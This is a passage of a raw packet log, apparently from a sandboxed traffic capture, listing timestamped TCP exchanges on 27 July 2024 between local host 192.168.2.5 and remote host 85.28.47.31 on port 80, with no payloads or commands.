Jul 27, 2024 12:01:14.463452101 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.463473082 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.463474035 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.463480949 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.463495970 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.463498116 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.463514090 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.463530064 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.463530064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.463543892 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.463546038 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.463562012 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.463562965 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.463578939 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.463589907 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.463589907 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.463609934 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.463634968 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.464212894 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.464227915 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.464242935 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.464257956 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.464262009 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.464272976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.464278936 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.464288950 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.464297056 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.464304924 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.464319944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.464323044 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.464323044 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.464335918 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.464344025 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.464350939 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.464365005 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.464365959 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.464380026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.464385033 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.464395046 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.464410067 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.464409113 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.464425087 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.464437962 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.464453936 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.464471102 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.465167999 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.465183973 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.465198994 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.465214014 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.465219975 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.465229034 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.465235949 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.465245008 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.465259075 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.465259075 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.465260983 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.465276957 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.465286016 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.465286016 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.465291977 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.465306997 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.465312004 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.465322971 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.465332031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.465332031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.465338945 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.465351105 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.465356112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.465372086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.465370893 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.465396881 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.465396881 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.465419054 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.466000080 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.466016054 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.466031075 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.466046095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.466051102 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.466070890 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.466074944 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.466074944 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.466087103 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.466101885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.466103077 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.466116905 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.466118097 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.466134071 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.466142893 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.466142893 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.466149092 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.466164112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.466167927 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.466180086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.466187954 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.466197014 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.466207027 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.466213942 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.466227055 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.466245890 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.466264009 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.466936111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.466953039 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.466968060 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.466984034 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.466985941 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.466999054 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.467006922 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.467014074 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.467022896 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.467029095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.467045069 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.467047930 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.467058897 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.467067003 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.467075109 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.467089891 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.467099905 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.467104912 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.467118979 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.467120886 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.467137098 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.467139006 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.467154026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.467159033 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.467178106 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.467201948 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.467807055 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.467823029 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.467838049 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.467854023 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.467856884 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.467869043 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.467876911 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.467885017 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.467896938 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.467900038 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.467915058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.467917919 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.467930079 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.467931986 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.467946053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.467952967 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.467962027 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.467978001 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.467978954 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.467978954 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.467998028 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.468020916 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.468020916 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.554925919 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.554960012 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.554977894 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.554994106 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.555001974 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.555013895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.555031061 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.555083036 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.555083990 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.555124998 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.555140972 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.555157900 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.555164099 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.555172920 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.555190086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.555205107 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.555207968 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.555236101 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.555253983 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.555521011 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.555536032 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.555551052 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.555577040 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.555604935 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.555660009 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.555717945 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.555778980 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.555794954 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.555819988 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.555828094 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.555835962 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.555849075 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.555851936 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.555866957 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.555879116 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.555882931 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.555897951 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.555913925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.555918932 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.555929899 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.555938959 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.555943966 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.555962086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.555974007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.555989027 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.556045055 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.556631088 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.556646109 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.556660891 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.556668997 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.556684017 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.556687117 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.556699038 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.556714058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.556724072 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.556735039 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.556740046 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.556751013 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.556765079 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.556765079 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.556765079 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.556781054 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.556791067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.556791067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.556796074 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.556811094 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.556809902 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.556827068 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.556835890 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.556835890 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.556859016 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.556873083 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.557456017 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.557471037 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.557485104 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.557501078 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.557507038 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.557516098 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.557527065 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.557531118 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.557547092 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.557557106 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.557560921 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.557573080 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.557576895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.557590961 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.557596922 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.557607889 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.557612896 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.557622910 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.557629108 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.557638884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.557650089 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.557673931 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.557698965 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.558150053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.558212042 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.558339119 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.558355093 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.558370113 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.558384895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.558389902 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.558399916 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.558410883 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.558415890 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.558432102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.558439970 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.558446884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.558459997 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.558460951 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.558476925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.558480978 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.558491945 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.558501005 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.558506966 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.558522940 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.558548927 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.558576107 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.559185982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.559202909 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.559216976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.559232950 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.559241056 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.559257984 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.559264898 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.559273958 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.559284925 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.559288979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.559304953 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.559318066 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.559320927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.559336901 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.559345007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.559353113 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.559362888 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.559367895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.559382915 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.559385061 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.559403896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.559408903 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.559410095 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.559418917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.559432983 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.559451103 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.559464931 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.560180902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.560197115 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.560210943 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.560225964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.560233116 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.560240984 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.560252905 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.560257912 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.560275078 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.560281992 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.560290098 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.560298920 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.560305119 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.560321093 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.560321093 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.560334921 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.560340881 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.560350895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.560359955 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.560367107 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.560375929 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.560383081 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.560395956 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.560399055 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.560420990 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.560440063 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.561080933 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.561095953 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.561110973 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.561125994 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.561131001 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.561141014 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.561151981 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.561157942 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.561172962 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.561180115 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.561187983 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:14.561194897 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:14.561203957 CEST	80	49704	85.28.47.31	192.168.2.5
